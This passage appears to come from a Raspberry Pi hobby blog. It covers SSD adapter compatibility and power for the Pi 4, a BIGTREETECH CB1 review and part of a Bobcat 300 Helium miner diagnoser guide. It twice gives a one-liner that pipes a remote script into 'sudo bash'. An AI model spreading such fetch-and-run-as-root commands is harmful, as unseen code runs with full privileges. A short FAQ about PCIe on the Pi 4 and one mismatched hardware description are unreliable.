Argon ONE M.2 is a M.2 SATA Pi 4 case / storage solution. With the case and M.2 SATA expansion board you can completely enclosure your Pi 4 and have a built in M.2 slot! The M.2 SATA board is sometimes sold separately from the case itself and can be used as well. Does not support NVMe, this is for SATA M.2 drives only! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* 2.5″ SATA StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* m-SATA mSATA adapters are getting less common but they are still incredibly useful. Lots of old laptops that came with SSDs have this older style from before the M.2 style slot existed and took over. Often these drives are still very fast and are available for very cheap since they use an obsolete connector that no longer comes on new motherboards. The VL716 isn’t a brand but is instead the name of the chipset that lots of these adapters use. This chipset works great with the Pi! VL716 mSATA Enclosure The VL716 mSATA enclosure lets you connect micro SATA drives to the Pi. These drives are an older type of SSD (usually seen in laptops) predating the M.2 slot but are still widely available and perform extremely well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.se*, Amazon.sg* Power Requirements Most types of adapters can be powered by the Pi itself. One notable exception is NVMe enclosures. Throughout the years we have had hundreds of comments from people who had no trouble powering 2.5″ SATA enclosures but couldn’t get a NVMe one to work at all without a powered USB hub. Very large older 3.5″ SATA drives are known to require more power than the Pi can provide as well as some types of very high performance models that were designed to burn more power to get extra performance gains. For solid state storage older models of solid state drives (SSDs) are also known to draw more power than their newer counterparts. If you have a drive that you think may fall into this category then definitely be on the lookout for power related issues and extra cautious about your power setup. High end “extreme” performance models also tend to draw more power (Samsung 970 NVMe drives* are some of the fastest in the world but also pretty power hungry for the Pi). Insufficient Power Symptoms Symptoms of a lack of power to the drive can include the system only booting sometimes (or not at all) or working for a while and then locking up. Just because the drive boots does not mean it is getting enough power. Some commenters on previous articles have described this as working fine until there was a sudden spike in CPU usage while they tried to do several things at once (high CPU, accessing storage, activating various hardware all at once) and then they would get a lockup/crash. This is because the Pi is teetering on the edge of not having enough power and that spike caused it to drop enough where the drive actually lost power (likely only for tiny fractions of a second). This is enough instability to easily cause a crash and worse if it happened to be in the middle of writing something important! Usually nothing will happen other than you’ll have to restart the Pi but because of the risk of data loss and eventually corrupting files. That being said, if you’re particularly unlucky you will have to fsck the drive or potentially even reimage it if fsck is unable to repair the damage! The best answer is to test for stability. Do this by stressing out the Pi and make sure you are doing activities that stress the CPU and storage at the same time like browsing the web, etc. and if you can do that for a few hours/days without a lockup/crash then you have a stable power setup! Powered USB Hub Solution For NVMe enclosures and power hungry drives I personally use this Sabrent powered USB hub and have been recommending it here on the blog for a long time: Sabrent Powered USB 3.0 Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. This is almost as much as the Pi adapter itself is rated for (3.0A). It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power If this hub isn’t an option for you and you don’t have one already you can try with it then look in the reviews for people saying that it is working with Raspberry Pi. Some powered USB hubs will not play nice with the Pi so before buying one definitely check reviews and do some careful research about what to expect with the Raspberry Pi! Oversized Power Adapter Solution This solution will work for setups that are right on the border of having enough and not having enough power. An example would be if you can get a stable boot but are getting occasional lockups/freezes when the power dips just below the threshold it needs. If you are using a powerful NVMe drive/enclosure combo like the ICY BOX with a high performance Samsung NVMe drive even with the extra 500 mA it will still not even boot. I have had these oversized adapters and they are great but for a very powerful drive/adapter combination you are going to need more than 500 mA. It’s a lot less extra wires and one less AC plug though if you are right on the border and just need a little bit more. It will depend on your individual drive/adapter combo whether it’s enough or you will have to go full powered USB hub! CanaKit 3.5A Power Adapter The CanaKit 3.5A adapter has an extra half an amp (500 mA) of capacity to give some breathing room to your accessories. This is bigger than the official Pi power supply which provides 3.0A. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.sg* Look for a USB-C power supply rated to supply around 3.5A. 3.0A or lower won’t do much good as that is almost certainly what you already are using. You can use a higher one (at your own risk). The largest one I’ve ever used is my Dell laptop’s 30W USB-C power adapter. It’s probably not a good idea to go too much bigger than this or to even use one this big over the long term (I didn’t, just for occasional testing and as a emergency backup) but USB-C does have some specification improvements related to power management that seem to provide some flexibility here. Power Limits The Pi can only pass through a limited amount of extra power. On the Pi 4 this is up to 1.2A of extra power for peripherals (combined) on top of the board’s 3.0A power rating. This is much more than the Pi 2 and some other previous models could do which was only around 0.5A. This also means that getting a power adapter bigger than about 4.2A of rated current is pointless because the Pi won’t allow any more power to flow through to the board to the peripherals through USB anyway even if it’s available. I’m oversimplifying a little bit to illustrate the point but if you want the full technical details they are available here in the Raspberry Pi USB documentation. The important takeaway is that going much above 3.5-4.0A or so will not actually provide any more power to the Pi because of these limits. If you’ve hit this ceiling and it still isn’t enough you need to go powered USB hub. I’ve also used ones that charge cell phones to power Pis before and these ones are the most likely to fall into a range close to what the Pi uses. Most of the ones I had around the house for phones were 2.5A (just barely not enough) or 3.0A so it was enough for a backup spare but not enough to provide extra power. Nevertheless, it’s definitely worth it to check what you already have around and see if there are USB-C chargers around to test with! Note that a powered USB hub essentially bypasses these limits because the power for your peripherals such as your USB storage will come from the AC adapter connection to the powered USB hub instead of the Pi having to provide that power. Powered USB Hub Troubleshooting Most hubs including the Sabrent one above can feed back power into the Pi which can cause it to not boot when the power is connected. The reason for this is that the Pi is detecting power and is trying to power on using that source but the current provided isn’t enough for the Pi to actually boot. The solution to this is to remove the USB hub’s connection from your Pi momentarily and then connect the power. Plug your USB hub back in quickly after reconnecting the Pi’s power (if you have native USB booting set up) and unless you really fumble with reconnecting it you will have it plugged in well before it tries to boot from the SSD! If this trick doesn’t work then unfortunately you may have a powered USB hub that is not going to work with the Pi. It’s worth checking to see if there are any firmware updates available for your USB hub before you give up on it as some readers have let me know in the comments of previous articles that they were able to get some hubs working after a firmware upgrade! Full Storage Adapters Compatibility List These lists are compiled from my two USB booting posts here and here. Known Working Adapters This is a compiled list of known working adapters built by myself from adapters I’ve purchased and commenters from ones they have purchased in this article and my newer guide that utilizes the new Raspberry Pi 4’s native bootloader for USB booting. StarTech 2.5″ SATA to USB 3.1 Adapter*2.5″ SATA to USB 3.1Verified working in comments (thanks Fredrick)StarTech 2.5″ SATA to USB 3.0 Adapter*2.5″ SATA to USB 3.0Verified working great by myself and others on Pi 4Inateck FE2004 2.5″ SATA to USB 3.0 Hard Drive Enclosure*2.5″ SATA to USB 3.0Mirco reports that this enclosure is working but trim is not supportedSamsung 2.5″ SATA to USB 850 EVO Kit /w Adapter* (Alternate amazon.de link*)2.5″ SATA to USB 3.0 KitThis is a kit that comes with a drive and adapter. Rene confirms the adapter works including with non-Samsung drives.CSL 2.5″ SATA to USB 3.0 Adapter*2.5″ SATA to USB 3.0The CSL SL adapter is confirmed to be working by Krikitt in the comments. Available in Europe. Not available in US.UGREEN 2.5″ SATA to USB-C 3.1 Enclosure Drive Caddy*2.5″ SATA to USB-C 3.1Confirmed to be working by CAProjects in the comments. Available in both Europe and USUGREEN 2.5″ SATA to USB-C 3.1 “Protect What You Love” Case* (AliExpress Listing* – Make sure to select USB-C 3.1)2.5″ SATA to USB-C 3.1Reported working by Michal in the comments, thanks!UGREEN 2.5″ to USB 3.0 “SATA USB Converter” Adapter* (AliExpress Listing*)2.5″ SATA to USB 3.0Also reported by Michal as working in the comments, thanks again!UGREEN 2.5″ SATA to USB 3.0 Adapter Cable with UASP Converter*2.5″ SATA to USB 3.0This adapter is reported to be working by Mirco in the commentsSABRENT 2.5″ SATA to USB-C 3.1 Type A Adapter*2.5″ SATA to USB-C 3.1 Type AThe new USB-C 3.1 Type A version of the Sabrent adapter is reported as working in the comments by UEF. DO NOT get the USB 3.0 version as that one is below on the naughty list and won’t work!SABRENT 2.5″ SATA to USB 3.0 Dual Bay Docking Station*2.5″ SATA to USB 3.0One of very few Sabrent adapters/enclosures to work. Reported working well by William Grey in the comments. Has two bays!AliExpress Generic 2.5″ SATA to USB 3.0 3 colors Hard Disk Case*2.5″ SATA to USB 3.0Reported as working with UASP support by pierro78 in the commentsOrico 2.5″ 2139C3-G2 2.5 inch USB 3.1 Gen 2 10Gbps Transparent Enclosure*2.5″ SATA to USB 3.1 Gen 2 10GbpsMake absolutely sure it’s the 10Gbps USB 3.1 Gen 2 version. There is another one that looks identical that is a USB 3.1 Gen 2 6Gbps that will not work. Confirmed working by RRT in the comments.ASUS ROG STRIX Arion Aluminum Alloy M.2 NVMe SSD External Portable Enclosure Case Adapter* – (AliExpress Listing*)M.2 NVMe (B+M Key) to USB/USB-C 3.2 Gen 2It’s bold. It’s beautiful. It’s also confirmed working by TADRACKET and Steve B.However, be warned, it takes a *lot* of power!Steve B. reports that even with the oversized 3.5A CanaKit adapter* it does not work. If you have the standard 3.0 adapter you can be practically certain it won’t power this enclosure.Does work with a powered USB hub*.ICY BOX M.2 NVMe (M Key) to USB-C 3.1 Gen 2 Enclosure* (Alternate amazon.de listing*)M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2Returning legendary commentary Frank Meyer reports:Does not work with a 3.0A power adapter (also reported by TTE). It’s not enough power for this enclosure.Does work with a powered USB hub*. TDBT M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2 Enclosure*M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2Confirmed to be working well by WorkHard in the commentsAliExpress Generic M.2 NVMe (B+M Key) to USB 3.1 “M2 SSD Case NVME Enclosure”*M.2 NVMe (B+M Key) to USB 3.1 Type AConfirmed working by Jens Haase, thanks Jen!SSK Aluminum M.2 NVMe (M Key) to USB 3.1 Gen 2 SSD Enclosure*M.2 NVMe (M Key) to USB 3.1 Gen 2Brian L reports this is working well with beta firmware upgrades, but that it did not work at all without them!ORICO M.2 NVMe SSD Enclosure, USB 3.1 Gen 2 (10 Gbps)* (AliExpress Listing*)M.2 NVME to USB 3.1 Gen 2M.Yusuf has given the first ever report of a working Orico adapter! Make sure it’s the USB 3.1 Gen 2 version that says “Support UASP for NVMe SSD”. This is the way.DELOCK 42570 M.2 SATA (B Key) to USB Micro-B 3.1 Gen 2 SSD Enclosure*M.2 SATA (B Key) to USB Micro-B 3.1 Gen 2Andreas Franek reports that the enclosure works with a 3.0A power adapter (gets a little warm)Shinestar M.2 NVMe (M Key) to USB 3.0 Adapter*M.2 NVMe (M Key) to USB 3.0This is the adapter I’m using in the picture at the top of the article. It is for NVMe M.2 drives only and is getting hard to findUGREEN M.2 NVMe (B+M Key to USB-C 3.1 Gen 2 SSD Enclosure*M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2Confirmed working in comments by Chad DUGREEN M.2 SATA (B+M Key) to USB 3.1 Enclosure*M.2 SATA (B+M Key) to USB 3.1 EnclosureReported as working well in the comments by John H. Reinhardt with a ASM1051E chipsetQNINE M.2 SATA (B Key) to USB 3.0 Enclosure*M.2 SATA (B Key) to USB 3.0I used this enclosure to benchmark M.2 SATA Lite-On and SanDisk drives — working great in 3.0 portsArgon One M.2 SATA (B+M Key) Pi 4 Case*M.2 SATA (B+M Key) Pi 4 CaseThis case gives you a M.2 SATA port for your Raspberry Pi and is also a case! Confirmed working by Frank.Tanbin mSATA to USB Adapter*mSATA to USB 3.0I used this mSATA to USB adapter for my Crucial M550 benchmark — working in 3.0 portsGeneric mSATA to USB 3.0 Adapter (fe2008)*mSATA to USB 3.1Confirmed working in comments by NicoCanakit Raspberry Pi 4 Power Supply (USB-C)*3.5A USB-C Power SupplyCanakit has been making very reliable power supplies for several Pi generations now. Using a 3.5A power supply will give enough extra power for your Pi to power the drive without causing instabilitySimplecom SE502 M.2 SSD Adapter*M.2 SATA (B Key) to USB 3.0Quirks required, reported working by alan but only with quirksDelock #61883 SATA to USB 3.0 Converter*2.5″ SATA to USB 3.0Reported working well by Joerg_HVantec SATA/IDE TO USB 3.0 Adapter*2.5″ SATA to USB 3.0Reported as working by JeffG but with an ugly messy appearanceKnown Working Adapters Known Problematic Adapters (Naughty List) Here is a list of common USB adapters that are known to have problems with the Raspberry Pi 4. You can get some of these adapters working by using quirks mode (see the “Fix (some) USB Adapter Problems Using Quirks” section below). FIDECO M207CPS USB3.2 to M2 NVME/SATA SSD Enclosure*M.2 NVME to USB 3.2 Gen 2Lee Myring reports that the FIDECO M207CPS has issues working with the PiUGREEN 30848 2.5″ SATA to USB 3.0 Hard Drive Enclosure*2.5″ SATA to USB 3.0Reporting as not working properly and disconnecting often by Mirco, thanks!Sabrent USB 3.0 to 2.5″ SATA adapter*2.5″ SATA to USB 3.0Only works in the USB 2.0 ports. Will not boot in a USB 3.0 port. I have two of these and can confirm they don’t work. RIP to Sabrent, our previous king of the Pi 3 era of adapters.Sabrent USB 3.0 to 2.5″ SATA Tool-Free External Hard Drive Enclosure*2.5″ SATA to USB 3.0Another nonworking Sabrent adapter reported by Alex, thanks Alex!ELUTENG 2.5″ SATA to USB 3.0 Adapter*2.5″ SATA to USB 3.0Despite earlier reports as working Ryan and one other have reported this adapter does not work unless you enable quirks mode! Don’t make Ryan’s sacrifice in vain and avoid this one.USB 3.0 to 2.5″ SATA III Hard Drive Adapter UASP Support-20cm, Black*2.5″ SATA to USB 3.0reported by dzm in the comments as having very poor I/O performanceORICO 2.5″ SATA to USB C 3.0 Enclosure (Transparent)*2.5″ SATA to USB 3.0Several commenters have stated the transparent ORICO is not working. Avoid!ORICO 2.5″ SATA to USB 3.0 Enclosure (Black) 2588US3-BKT*2.5″ SATA to USB 3.0Commenters report that the USB-C variant of the transparent ORICO enclosure also does not workORICO 2.5″ SATA to USB 3.0 Enclosure (Black/White) 2520U3*2.5″ SATA to USB 3.0Reported as not working by by Richon in the commentsORICO 2.5″ SATA to USB-C 3.1 Gen 1 Enclosure (Transparent)*2.5″ SATA to USB-C 3.1 Gen 1Confirmed as not working by Andrea De Lunardi in the comments (thanks!)Vantec 2.5″ SATA to USB 3.0 USB Adapter with Case*2.5″ SATA to USB 3.0Does not work after hours of testing and frustration by Moshe Katz in the comments!AliExpress Generic 2.5″ SATA to USB 3.0 “New USB 3.0 To 2.5in SATA 7+15Pin Hard Drive Adapter”*2.5″ SATA to USB 3.0Extremely cheap adapter from AliExpress — MADATALIEXPRESS bought 5 of them and none worked, PPCM had one working, very unreliable and slow when it does work, not recommended even if you get lucky!EWENT USB 3.0 to SATA EW70172.5″ SATA to USB 3.0Does not work – reported by Wouter in the comments, thanks!CableCreation USB 3.0 to SATA Adapter Compatible 2.5″ SATA III HDD Hard Disk Driver, 0.5FT, Black*2.5″ SATA to USB 3.0Morgon reports not working in the comments — I also recognize this adapter as the “fake” StarTech adapter that is sold on AliExpress, thanks Morgon!JSAUX USB 3.0 to SATA Adapter, USB 3.0 to 2.5 Inch SATA III Hard Drives/SSD/HDD Adapter*2.5″ SATA to USB 3.0 Reported as not working by Bennie in the comments, thanks!EZCast M.2 NVME SSD Enclosure Adapter*M.2 NVMe to USB 3.1 Gen2Reported as problematic due to duplicate USB ids — best to avoid — thanks MikeCSabrent 2.5″ Aluminum Enclosure*2.5″ SATA to USB 3.0Reported as not working by JeffGKnown Problematic Adapters Verify Drive Performance You can make sure everything is running correctly (and as fast as it should be) by running my quick storage benchmark. You can run the benchmark with the following one-liner: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash This will give you a score you can compare to the other Raspberry Pi Storage Benchmark results and make sure that you are getting an equivalent speed to your peers with the same device. Which SSD adapter works best with Raspberry Pi 4?PCIe 1x NVMe adapters with USB 3.0 interfaces or M.2 SATA/NVMe HATs with active cooling provide the best balance of speed, stability, and thermal management for sustained workloads.Can I use M.2 SATA drives alongside NVMe on Raspberry Pi?Yes, but bandwidth is shared over the PCIe/USB controller. NVMe drives will generally outperform SATA, and running both simultaneously may cause thermal throttling without adequate cooling.Do SSD adapters require firmware updates for the Pi 4?Not the adapters themselves, but you must update the Raspberry Pi EEPROM/bootloader to support USB boot and ensure proper PCIe lane allocation for maximum throughput. #### BIGTREETECH CB1 (CM4 Alternative) w/ Pi4B Adapter Review BIGTREETECH CB1 Rev 2.2 with Pi4B Adapter Review I’ve recently been reviewing many different single board computers that are outside of the Raspberry Pi ecosystem due to the ongoing pricing and availability issues with the Pi. Today will be my first review of a product that is meant to be an alternative to the Compute Module 4! There are several different CM4 knockoffs/alternatives available and I’ve already also received a Pine64 SOQuartz which I’ll be reviewing in the near future. Today we will be examining the BIGTREETECH CB1(revision 2.2) as well as the official Pi4B adapter (meant to be one choice of IO board for the device). These are generally meant to be used with 3D printers as BIGTREETECH’s catalog is largely geared toward 3D printing. I will not be reviewing the device for that purpose today. I will be examining it as a more general-purpose CM4 alternative. We’ll look at the images available, try plugging it into some other I/O boards meant for the CM4 and seeing what works and what doesn’t, benchmarking the performance and try to reach a conclusion about what a board like this will work for and what it won’t. Let’s begin! Table of Contents Toggle Hardware UsedBuild QualityImages AvailableTesting ImageBenchmarking I/O PerformanceTesting Other IO BoardsPros / ConsProsConsConclusionOther Resources Hardware Used BIGTREETECH CB1 The CB1 from BIGTREETECH is an alternate to the Compute Module 4. It contains a Allwinner H616 quad-core Cortex-A53 @ 1.5GHz with a Mali-G31 GPU and 1GB DDR3 RAM. External WiFi antenna is included. Links: AliExpress*, Alt AliExpress* BIGTREETECH – Pi4B Adapter The BIGTREETECH Pi4B adapter is an IO board that the CB1 can connect to that gives it the form factor of a Raspberry Pi 4. Has a SD card slot as well as 4 USB 2.0 slots and Gigabit Ethernet. Links: AliExpress*, Alt AliExpress*, Amazon.com* BIGTREETECH CB1 Heat Sink This is the optional heat sink kit (but recommended, my heat sink was quite hot after hours of testing) for the BIGTREETECH CB1. Links: AliExpress*, Alt AliExpress*, Amazon.com* Build Quality The packaging and build quality of the BIGTREETECH CB1 and the Pi4B adapter are fairly high. Let’s take a closer look at the CB1 module here: BIGTREETECH CB1 – Top And the back: BIGTREETECH CB1 – Bottom The boards look great. The contrast between the text and the board is fantastic. You can clearly see all the circuit traces and on this board you don’t need to hold it up to the light a certain way to see the traces. They’re always visible in normal light without having to rotate or angle the board against the light to see them. The only nitpick I have is the perforations along the right side of the board most easily seen in the “Bottom” view above. For how high quality their packaging and the board itself is this is surprising to me that they didn’t clean up those perforations. This isn’t a big deal though especially given how much cheaper these are than an actual CM4 in this market. Now let’s take a look at the Pi4 adapter IO board. The build quality is the same high quality: BIGTREETECH – Pi4B Adapter – Top And the bottom view: BIGTREETECH – Pi4B Adapter – Bottom You can see that it follows the same clear labeling and tracing that the CB1 board itself does. Overall the build quality is great for the price. A wireless antenna is also included in the box with the CB1. Images Available As always let’s evaluate what images are available for the board as well as how fresh they are. In the case of the CB1 there are only two images officially available (with more in the works both officially and unofficially). The official image download page is here on GitHub. At time of writing these were: CB1_Debian11_bullseye_minimal_kernel5.16_20220929.img.xz: Only the shell script for setting WiFi configuration from SD card is added (based on pure Debian) CB1_Debian11_bullseye_Klipper_kernel5.16_20220929.img.xz: Klipper, Moonraker, Mainsail, Dependent library for resonance compensation , Linux-Host-MCU, and KlipperScreen(tested on on BTT HDMI-5 & HDMI-7) are installed (based on CB1_Debian11_bullseye_minimal_kernel5.16_20220929.img.xz) These are reasonably fresh and are using kernel 5.16. This is looking good so far. The first image is the one that is meant for general use. The Klipper image includes the full desktop environment and includes other utilities/firmware for 3D printing such as Klipper. For this review I used the minimal image. The source code is available as well including the entire kernel source tree. Huge props to BIGTREETECH for making that available for everyone. There are very few third party images available at this time but it’s only a matter of time. With the kernel being open source it’s just a matter time before people start to put their own images together. Undoubtedly there are some out there and available on the forums but at time of writing none of them had risen to the top as a clear and well-supported alternative yet. Testing Image I wrote the image to a SD card and connected the power to the Pi4B IO board’s USB-C power port. It immediately joined the network with SSH enabled. The login and password were root/root: root@192.168.51.177's password: ____ _____ _____ ____ ____ _ | __ )_ _|_ _| / ___| __ )/ | | _ \ | | | |_____| | | _ \| | | |_) || | | |_____| |___| |_) | | |____/ |_| |_| \____|____/|_| Welcome to BTT-CB1 2.2.0 Bullseye with Linux 5.16.17-sun50iw9 System load: 5% Up time: 3 min Memory usage: 12% of 984M IP: 192.168.51.177 CPU temp: 44°C Usage of /: 3% of 59G [ 0 security updates available, 5 updates total: apt upgrade ] Last check: 2022-09-28 08:02 root@BTT-CB1:~# We’re all signed in and there’s even apt updates available! I did those first with: sudo apt update && sudo apt full-upgrade -y I did not have any difficulty connecting to the WiFi but I saw some reports online from others that did have trouble. Make sure you have connected the external antenna (it’s included in the box). The CM4 has a decent internal antenna but it’s very likely they give you the external antenna for free for a reason. The CB1 likely has a weak or non-existent internal antenna and I’d be willing to wager that is where many of those WiFi issues stem from. People don’t realize they need to use the external antenna connector for reliable WiFi performance. Benchmarking I/O Performance Let’s see what it can do. The rough power level of this hardware is more equivalent to a Raspberry Pi 3 than a Raspberry Pi 4. I expect the performance to roughly to fall somewhere between a Pi 3 and a Pi 4. You can verify the performance of your SD card on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 22.51 MB/s HDParm Cached Disk Read 22.52 MB/s DD Disk Write 18.7 MB/s FIO 4k random read 1878 IOPS (7512 KB/s) FIO 4k random write 766 IOPS (3065 KB/s) IOZone 4k read 8031 KB/s IOZone 4k write 2959 KB/s IOZone 4k random read 7506 KB/s IOZone 4k random write 3175 KB/s Score: 1,070 The full BIGTREETECH CB1 benchmark can be viewed here on Pi Benchmarks. I would consider this a good result. A Pi 3 average score is somewhere around 900 points while the Pi 4 is somewhere closer to 1100 or so. We’re right between that range as expected. When testing I/O speeds I am particularly looking for any bottlenecks that may reduce your performance below what you should expect on the board. The CB1 performed exactly where it should given the hardware in the board which I would consider a positive for any product that is an alternative to something else! Testing Other IO Boards So everything performed very well using BIGTREETECH’s own Pi4B IO board. I wanted to test how well it would perform with other boards. These are all boards that I have covered in Different Shapes and Sizes of Compute Module 4 IO Boards. First I tried the official reference board for the CM4: BIGTREETECH CB1 on CM4 Reference Board In addition to just seeing if it would work I tested USB and Ethernet. Ethernet worked perfectly as well as USB: root@BTT-CB1:~# lsusb Bus 008 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 004 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 002 Device 003: ID 174c:55aa ASMedia Technology Inc. ASM1051E SATA 6Gb/s bridge, ASM1053E SATA 6Gb/s bridge, ASM1153 SATA 3Gb/s bridge, ASM1153E SATA 6Gb/s bridge Bus 002 Device 002: ID 0424:2514 Microchip Technology, Inc. (formerly SMSC) USB 2.0 Hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub We can see my USB to 2.5″ SATA adapter here that I was testing for connectivity. Wow. I’m impressed so far but this is just the reference board. I wanted to try something more interesting next. I decided to try the Waveshare PoE I/O board: BIGTREETECH CB1 on Waveshare PoE IO Board This board has no power cable going into it at all and is powered purely by the Ethernet connection (PoE). This board also has USB 3.1 ports on it unlike the BIGTREETECH official board which only has USB 2.0. Everything worked perfectly again. I can hardly believe it. This does work seem to work really well with the more popular I/O boards that I have for the CM4! Pros / Cons Pros Relatively inexpensive Official image has reached a point where it seems to be widely compatible with most common CM4 I/O boards Cons Can be hard to order individual modules as most listings are bundles Seems to be intended for more specific 3D printer usage rather than general usage (but they certainly don’t stop you) Conclusion I’m very impressed. A lot of the talk around this product online is pretty negative so I was expecting a pretty rough experience. Instead it worked better than my wildest hopes to be honest after some of my more recent reviews of Pi Zero competitors. It’s not a drop-in replacement because it doesn’t run Raspberry Pi OS. It *is* however potentially a drop-in alternative. You literally can use this with other IO boards meant for the Compute Module 4. Does your project require you to run Raspberry Pi OS? Then this won’t work (for now, it would not surprise me to see Raspbian come to this). Would your project work on a board running something really similar to Armbian on a open-sourced 5.16.x kernel? If so then this board is absolutely worth investigating. I only spent $47 on AliExpress for everything you see here. I ordered it from BIGTREETECH’s official AliExpress store*. That is including the heat sink and the Pi4B IO board as well as the CB1 itself (and shipping to the US). That is absolutely a bargain and if you know you can get away with running something different than Raspbian I actually highly recommend this board! Other Resources I’ve reviewed another CM4 alternative called the Pine64 SOQuartz here Don’t miss the rest of my SBC reviews here #### Bobcat 300 Diagnoser Tool / Utility Guide (Helium Mining) Bobcat 300* Diagnoser Utility The Bobcat 300* Helium Miner finally has an interface you can use to be able to tell what it’s doing! Better yet, it lets you do a few things like conduct an internet speed test. You can even get a detailed breakdown of which block your miner is on! In this guide I’ll break down how to access the web interface (easy) and run through some of the features that are available at launch (1.0). The utility started installing on Bobcat 300’s via OTA updates on August 3rd 2021. Let’s begin! Table of Contents Toggle Hardware UsedFinding IP AddressAccessing Web InterfaceDiagnoser Utility OptionsTemperatureSync Status (Update 9/3/2021)MinerExplorerHelium APIOnboardingNet Speed (Internet Speed Test) (Update 9/3/2021: Removed, Secret Link Available)Resync Miner (Update 9/2/2021)Reboot (Update 9/2/2021)Blockchain HeightBobcat OTA Update / Troubleshooting (Community Res)Fast Sync (Alpha) (Update 9/11/2021)ConclusionOther Resources Hardware Used Bobcat 300 Helium Miner The Nebra outdoor miner is a Helium miner designed to be installed permanently outdoors. It is powered by a Raspberry Pi Compute Module 3 and uses a eMMC chip for storage via a Links: Amazon.com* Finding IP Address Hopefully you already know what the IP address of the Bobcat 300 is on the network as you will need to know that to get your miner out of relayed status and set up the “port forward”. If you haven’t set up your port forward yet follow my Getting Out of Relayed Status Helium Mining Guide. You can find your IP by logging into your router’s web interface / app or you can use the Helium app’s “Diagnostics” feature to get it as well! Accessing Web Interface Once you’ve determined your miner’s IP type it in your web browser like this: http://192.168.X.X It does not like https (port 443) and will only work with http (port 80). Diagnoser Utility Options Let’s cover what you can do using this utility at launch. Temperature Temperature is a serious obstacle for Bobcat 300 miners. If they are outside or in a very hot / poorly ventilated place they are well known to overheat. This feature helps you manage this and make sure your miner isn’t getting cooked. If you choose the temperature option you will get the temperature of your unit (as temp.json in JSON format, useful if you are a developer) like this: { "time": "2021-08-07 00:30:51 +0000 UTC", "temp0": 47, "temp1": 49, "unit": "°C" } This lets you keep an eye on your miner’s temperature. This one is inside an air conditioned building and it’s still nearly 49C or roughly 120F degrees but would be considered a “good” temperature reading!                               Sync Status (Update 9/3/2021) New option added in 1.0.3 that is described as: Introducing the sync status feature on the Bobcat Diagnoser, which answers the very simple yet important question of whether or not your Bobcat miner is properly synced to the network. Stop incessantly rebooting or waiting for the helium app to update the miner’s status. Now you’ll have access to real time information at the push of a button! Bobcat Miner 9/2/201 Update The Helium app really is agonizingly slow to update so this is a useful feature. Here’s an example of how it looks: { "status": "synced", "gap": "-2", "miner_height": "995790", "blockchain_height": "995788", "epoch": "25674" } The “gap” is how many blocks behind you are, so I am 2 blocks behind with a gap of -2. The math adds up with the “blockchain_height” representing the height the entire network is at and “miner_height” representing the block height your miner is at / sync’d to. Miner The “Miner” choice gives you an extremely detailed breakdown of your miner. You want to be careful with this option because the menus warn you that this option slows down the Bobcat’s mining (it’s a resource intensive / high CPU operation). Here’s what it looks like: { "time": "2021-08-07 00:11:15 +0000 UTC", "temp0": "48 °C", "temp1": "50 °C", "temp_alert": "normal", "ota_version": "1.0.2.10", "miner": { "State": "running", "Status": "Up About an hour", "Names": [ "/miner" ], "Image": "quay.io/team-helium/miner:miner-arm64_2021.08.02.0_GA", "Created": 1628292218, "Ports": [ { "IP": "0.0.0.0", "PrivatePort": 1680, "PublicPort": 1680, "Type": "udp" }, { "IP": "0.0.0.0", "PrivatePort": 44158, "PublicPort": 44158, "Type": "tcp" } ] }, "miner_alert": "", "miner_desc": "", "pubkey": "1125RGgX5aXXXXX", "animal": "shallow-maroon-xxx", "region": [ "US915", "" ], "height": [ "24468 955285", "" ], "ports": { "1680": "closed", "44158": "open" }, "p2p_status": [ "+---------+------+", "| name |result|", "+---------+------+", "|connected| yes |", "|dialable | yes |", "|nat_type | none |", "| height |955285|", "+---------+------+", "", "" ], "onboarding": [ "", "********************", "General Manufacturing Info", "********************", "", "+-------------+----------------------------------------------------+", "| name | result |", "+-------------+----------------------------------------------------+", "| batch | bobcat_609 |", "| createdAt | 2021-06-09T09:41:12.706Z |", "|heliumSerial | null |", "| id | 82510 |", "| macEth0 | e8:78:29:51:XX:XX |", "| macWlan0 | 48:e7:da:13:XX:XX |", "| makerId | 6 |", "|onboardingKey|112xxxx |", "|publicAddress|1125RGg |", "| rpiSerial | 7cdf8xxx |", "| updatedAt | 2021-06-18T22:30:18.486Z |", "+-------------+----------------------------------------------------+", "", "", "********************", "Manufacturer Info", "********************", "", "+------------------+---------------------------------------------------+", "| name | result |", "+------------------+---------------------------------------------------+", "| address |14sKxxx |", "| createdAt 